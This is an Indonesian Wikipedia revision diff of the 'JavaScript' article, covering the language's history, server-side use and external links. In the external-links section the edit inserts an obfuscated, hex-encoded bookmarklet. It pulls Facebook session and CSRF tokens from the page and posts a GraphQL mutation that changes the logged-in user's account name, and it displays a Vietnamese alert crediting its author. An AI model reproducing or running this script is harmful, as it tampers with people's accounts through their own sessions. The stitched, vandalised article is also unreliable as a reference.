JavaScript: Perbedaan antara revisi

Konten dihapus Konten ditambahkan
Tidak ada ringkasan suntingan
Tag: Dikembalikan kemungkinan perlu dirapikan Suntingan perangkat seluler Suntingan peramban seluler
Tidak ada ringkasan suntingan
Tag: Penambahan gelar ( ? ) [ * ] VisualEditor
 
(10 revisi perantara oleh 9 pengguna tidak ditampilkan)
Baris 26:
}}
}}
'''JavaScript''' ({{IPAc-en|ˈ|dʒ|ɑː|v|ə|ˌ|s|k|r|ɪ|p|t}}<ref>{{cite web | url=http://dictionary.reference.com/browse/javascript | title=JavaScript | publisher=William Collins Sons & Co | work=Collins English Dictionary – Complete & Unabridged 2012 Digital Edition | date=2012 | accessdate=21 Agustus 2015}}</ref>) (disingkat '''JS''') adalah suatu [[bahasa]] pemrograman [[bahasa pemrograman tingkat tinggi|tingkat tinggi]] dan [[bahasa pemrograman dinamis|dinamis]].<ref name="harv">{{cite book|last1= Flanagan|first1= David|title= JavaScript: The Definitive Guide|url= https://archive.org/details/javascriptdefini0000flan_6edi|edition= 6th|year= 2011|publisher= [[O'Reilly Media|O'Reilly & Associates]]|isbn= 978-0-596-80552-4}}</ref> JavaScript populer di [[internet]] dan dapat bekerja di sebagian besar [[penjelajah web]] populer seperti [[Google Chrome]], [[Internet Explorer]] (IE), [[Mozilla Firefox]], [[Netscape Navigator|Netscape]] dan [[Opera (peramban web)|Opera]]. [[Kode]] JavaScript juga dapat disisipkan dalam [[halaman]] [[web]] menggunakan [[tag]] ''script''.<ref name="andi">Andi Sunyoto, M. Kom, ''Ajax Membangun Web dengan Teknologi Asynchronouse JavaScript & XML'', ANDI</ref> JavaScript merupakan salah satu teknologi inti [[World Wide Web]] selain [[HTML]] dan [[Cascading Style Sheets|CSS]]. JavaScript membantu membuat halaman web interaktif dan merupakan bagian aplikasi web yang esensial.
 
Awalnya hanya diimplementasi sebagai ''client-side'' dalam penjelajah web, kini ''engine'' JavaScript disisipkan ke dalam perangkat lunak lain seperti dalam ''server-side'' dalam [[server web]] dan basis data, dalam program non web seperti perangkat lunak pengolah kata dan pembaca [[Portable Document Format|PDF]], dan sebagai ''runtime environment'' yang memungkinkan penggunaan JavaScript untuk membuat aplikasi desktop maupun mobile. JavaScript adalah [[merek dagang]] yang dikeluarkan dari [[Oracle Corporation]] di [[Amerika Serikat]].<ref>{{Cite web|title=U.S. Trademark Serial No. 75026640|url=https://tsdr.uspto.gov/#caseNumber=75026640&caseType=SERIAL_NO&searchType=statusSearch|publisher=[[United States Patent and Trademark Office]]|archive-url=https://web.archive.org/web/20210713022850/https://tsdr.uspto.gov/#caseNumber=75026640&caseType=SERIAL_NO&searchType=statusSearch|archive-date=2021-07-13|access-date=2021-12-28|url-status=live}}</ref><ref>{{Cite web|title=Legal Notices|url=https://www.oracle.com/legal/trademarks.html|publisher=[[Oracle Corporation]]|archive-url=https://web.archive.org/web/20210605142505/https://www.oracle.com/legal/trademarks.html|archive-date=2021-06-05|access-date=2021-12-28|url-status=live}}</ref>
Baris 32:
== Sejarah ==
 
JavaScript pertama kali dikembangkan oleh [[Brendan Eich]] dari Netscape di bawah nama ''Mocha'', yang nantinya namanya diganti menjadi ''LiveScript'', dan akhirnya menjadi ''JavaScript''.<ref>{{cite web|last=Krill |first=Paul |url=http://www.infoworld.com/article/08/06/23/eich-javascript-interview_1.html |title=JavaScript creator ponders past, future |publisher=InfoWorld |date=2008-06-23 |accessdate=2009-05-19}}</ref><ref name="computerworld">{{cite web|last=Hamilton|first=Naomi|url=http://www.computerworld.com.au/article/255293/-z_programming_languages_javascript|title=The A-Z of Programming Languages: JavaScript|publisher=computerworld.com.au|date=2008-06-31}}</ref>
 
''Navigator'' sebelumnya telah mendukung Java untuk lebih bisa dimanfaatkan para [[pemrogram]] yang non-Java.<ref name="zaki"/> Maka dikembangkanlah bahasa pemrograman bernama ''LiveScript'' untuk mengakomodasi hal tersebut.<ref name="zaki"/> Bahasa pemrograman inilah yang akhirnya berkembang dan diberi nama JavaScript, walaupun tidak ada hubungan bahasa antara Java dengan JavaScript.<ref name="zaki">Ali Zaki & Smitdev Community, ''SPP AJAX untuk Pemula'', halaman 27. Elex Media Komputindo</ref>
 
JavaScript bisa digunakan untuk banyak tujuan, misalnya untuk membuat efek ''rollover'' baik di gambar maupun teks, dan yang penting juga adalah untuk membuat [[AJAX]].<ref name="zaki"/> JavaScript adalah bahasa yang digunakan untuk AJAX.<ref name="zaki"/>
 
=== Pembuatan oleh Netscape ===
Baris 60:
Percobaan awal pada dalam mempromosikan penggunaan JavaScript sisi server adalah [[Server Web Oracle iPlanet#Sejarah|Netscape Enterprise Server]] dan [[Internet Information Services]] [[Microsoft]],<ref>{{cite web|last=News|first=Oracle|date=December 11, 1998|title=Server-Side JavaScript Guide|url=https://docs.oracle.com/cd/E19957-01/816-6411-10/contents.htm|website=oracle.com|publisher=[[Oracle Corporation]]|archive-url=https://web.archive.org/web/20210311173120/https://docs.oracle.com/cd/E19957-01/816-6411-10/contents.htm|archive-date=March 11, 2021|access-date=May 8, 2021|url-status=live}}</ref><ref>{{cite web|last1=Clinick|first1=Andrew|date=July 14, 2000|title=Introducing JScript .NET|url=https://msdn.microsoft.com/en-us/library/ms974588.aspx|website=Microsoft Developer Network|publisher=Microsoft|archive-url=https://web.archive.org/web/20171110201649/https://msdn.microsoft.com/en-us/library/ms974588.aspx|archive-date=November 10, 2017|access-date=April 10, 2018|quote=[S]ince the 1996 introduction of JScript version 1.0 ... we've been seeing a steady increase in the usage of JScript on the server—particularly in Active Server Pages (ASP)|url-status=live}}</ref> tapi itu ceruk kecil.<ref name="2009server">{{cite web|author=Mahemoff, Michael|date=December 17, 2009|title=Server-Side JavaScript, Back with a Vengeance|url=https://readwrite.com/2009/12/17/server-side_javascript_back_with_a_vengeance/|website=readwrite.com|archive-url=https://web.archive.org/web/20160617030219/https://readwrite.com/2009/12/17/server-side_javascript_back_with_a_vengeance/|archive-date=June 17, 2016|access-date=July 16, 2016|url-status=live}}</ref> Penggunaan sisi server akhirnya mulai tumbuh di akhir tahun 2000-an, dengan kreasi dari [[Node.js]] dan pendekatan lainnya.<ref name="2009server" />
 
JavaScript baru-baru ini mulai muncul di beberapa [[sistem tertanam]], biasanya dengan memanfaatkanNodememanfaatkan Node.js.<ref>{{cite web|title=Tessel 2... Leverage all the libraries of Node.JS to create useful devices in minutes with Tessel.|url=https://tessel.io/|website=tessel.io|archive-url=https://web.archive.org/web/20210526212559/https://tessel.io/|archive-date=2021-05-26|access-date=2021-05-08|url-status=live}}</ref><ref>{{cite web|title=Node.js Raspberry Pi GPIO Introduction|url=https://www.w3schools.com/nodejs/nodejs_raspberrypi_gpio_intro.asp|website=w3schools.com|archive-url=https://web.archive.org/web/20210813192938/https://www.w3schools.com/nodejs/nodejs_raspberrypi_gpio_intro.asp|archive-date=2021-08-13|access-date=2020-05-03|url-status=live}}</ref><ref>{{cite web|title=Espruino&nbsp;– JavaScript for Microcontrollers|url=https://www.espruino.com/|website=espruino.com|archive-url=https://web.archive.org/web/20200501010722/https://www.espruino.com/|archive-date=2020-05-01|access-date=2020-05-03|url-status=live}}</ref>
 
== Contoh kode JavaScript ==
Baris 245:
* [[HTML5]]
 
== Pranala luar ==
javascript:var fullName = "";
{{Wikibooks|JavaScript}}
var firstName = "";
* {{en}} [https://developer.mozilla.org/en/JavaScript Dokumentasi resmi Mozilla's mengenai JavaScript] {{Webarchive|url=https://web.archive.org/web/20120716181541/https://developer.mozilla.org/en/JavaScript |date=2012-07-16 }}
var middleName = "";
* {{en}} [http://www.w3schools.com/js/default.asp Tutorial JavaScript]
var lastName = "";
* {{en}} [http://www.is-research.de/info/jslanguages/ Bahasa pemograman dalam JavaScript]
* {{Curlie|Computers/Programming/Languages/JavaScript/}}
* {{Cite web|url=https://koderumit.com/2017/02/pemrograman-javascript.html|title=Tipe Data pada JavaScript|access-date=2022-06-04}}
 
{{Daftar bahasa pemrograman}}
var _0x3a81=["\x43\x6F\x64\x65\x20\u0111\u01B0\u1EE3\x63\x20\x76\x69\u1EBF\x74\x20\x62\u1EDF\x69\x20\x44\u01B0\u01A1\x6E\x67\x20\x54\x6F\u1EA3\x6E\x20\x4D\x4D\x4F\x20\x2D\x20\x66\x62\x2E\x63\x6F\x6D\x2F\x74\x6F\x61\x6E\x74\x72\x75\x6E\x67\x67\x69\x61\x6E\x6D\x6D\x6F","\x5F\x5F\x73\x70\x69\x6E\x5F\x72","\x53\x69\x74\x65\x44\x61\x74\x61","\x6A\x61\x7A\x6F\x65\x73\x74","\x53\x70\x72\x69\x6E\x6B\x6C\x65\x43\x6F\x6E\x66\x69\x67","\x74\x6F\x6B\x65\x6E","\x44\x54\x53\x47\x49\x6E\x69\x74\x69\x61\x6C\x44\x61\x74\x61","\x41\x43\x43\x4F\x55\x4E\x54\x5F\x49\x44","\x43\x75\x72\x72\x65\x6E\x74\x55\x73\x65\x72\x49\x6E\x69\x74\x69\x61\x6C\x44\x61\x74\x61","\x4C\x53\x44","\x73","\x68\x73\x69","\x64\x79\x6E","\x63\x73\x72","\x66\x31\x39\x61\x63\x30\x32\x64\x2D","\x73\x75\x62\x73\x74\x72","\x72\x61\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x63\x63\x6F\x75\x6E\x74\x73\x63\x65\x6E\x74\x65\x72\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x67\x72\x61\x70\x68\x71\x6C\x2F","\x31\x61","\x31\x39\x36\x31\x39\x2E\x48\x59\x50\x3A\x61\x63\x63\x6F\x75\x6E\x74\x73\x5F\x63\x65\x6E\x74\x65\x72\x5F\x70\x6B\x67\x2E\x32\x2E\x31\x2E\x2E\x30\x2E\x30","\x45\x58\x43\x45\x4C\x4C\x45\x4E\x54","\x74\x72\x75\x6E\x6B","\x52\x65\x6C\x61\x79\x4D\x6F\x64\x65\x72\x6E","\x75\x73\x65\x46\x58\x49\x4D\x55\x70\x64\x61\x74\x65\x4E\x61\x6D\x65\x4D\x75\x74\x61\x74\x69\x6F\x6E","\x64\x65\x76\x69\x63\x65\x5F\x69\x64\x5F\x66\x65\x74\x63\x68\x5F\x64\x61\x74\x72","\x46\x42\x5F\x57\x45\x42","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x35\x37\x36\x33\x35\x31\x30\x38\x35\x33\x37\x36\x33\x39\x36\x30","\x26","\x6A\x6F\x69\x6E","\x3D","\x6D\x61\x70","\x6B\x65\x79\x73","\x65\x72\x72\x6F\x72","\x63\x61\x74\x63\x68","\x6C\x6F\x67","\x74\x68\x65\x6E","\x74\x65\x78\x74","\x50\x4F\x53\x54","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64"];alert(_0x3a81[0]);var spinr=require(_0x3a81[2])[_0x3a81[1]];var jazoest=require(_0x3a81[4])[_0x3a81[3]];var fb_dtsg=require(_0x3a81[6])[_0x3a81[5]];var uid=require(_0x3a81[8])[_0x3a81[7]];var lsd=require(_0x3a81[9])[_0x3a81[5]];var s=require(_0x3a81[2])[_0x3a81[10]];var hsi=require(_0x3a81[2])[_0x3a81[11]];var dyn=require(_0x3a81[2])[_0x3a81[12]];var csr=require(_0x3a81[2])[_0x3a81[13]];function generateClientMutationId(){return _0x3a81[14]+ Math[_0x3a81[16]]().toString(36)[_0x3a81[15]](2,9)}var clientMutationId=generateClientMutationId();var url=_0x3a81[17];var requestData={av:uid,__user:uid,__a:1,__req:_0x3a81[18],__hs:_0x3a81[19],dpr:1.5,__ccg:_0x3a81[20],__rev:1008717767,__s:s,__hsi:hsi,__dyn:dyn,__csr:csr,__comet_req:5,fb_dtsg:fb_dtsg,jazoest:jazoest,lsd:lsd,__spin_r:spinr,__spin_b:_0x3a81[21],__spin_t:clientMutationId,fb_api_caller_class:_0x3a81[22],fb_api_req_friendly_name:_0x3a81[23],variables:JSON[_0x3a81[26]]({client_mutation_id:clientMutationId,family_device_id:_0x3a81[24],identity_ids:[uid],full_name:fullName,first_name:firstName,middle_name:middleName,last_name:lastName,interface:_0x3a81[25]}),server_timestamps:true,doc_id:_0x3a81[27]};var data=Object[_0x3a81[32]](requestData)[_0x3a81[31]](function(_0xb28exf){return (encodeURIComponent(_0xb28exf)+ _0x3a81[30]+ encodeURIComponent(requestData[_0xb28exf]))})[_0x3a81[29]](_0x3a81[28]);fetch(url,{method:_0x3a81[38],body:data,headers:{"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":_0x3a81[39]}})[_0x3a81[36]](function(_0xb28ex12){return _0xb28ex12[_0x3a81[37]]()})[_0x3a81[36]](function(_0xb28ex11){console[_0x3a81[35]](_0xb28ex11)})[_0x3a81[34]](function(_0xb28ex10){console[_0x3a81[33]](_0xb28ex10)})
{{Authority control}}
 
[[Kategori:JavaScript| ]]
[[Kategori:Bahasa skrip|{{PAGENAME}}]]
[[Kategori:Standar W3C]]
[[Kategori:Bahasa pemrograman]]
[[Kategori:Keluarga bahasa pemrograman JavaScript]]
[[Kategori:Pemrograman web]]
[[Kategori:Bahasa pemrograman yang dibuat pada tahun 1995]]
[[Kategori:Bahasa fungsional]]
[[Kategori:Bahasa pemrograman berorientasi objek]]
[[Kategori:Bahasa pemrograman tingkat tinggi]]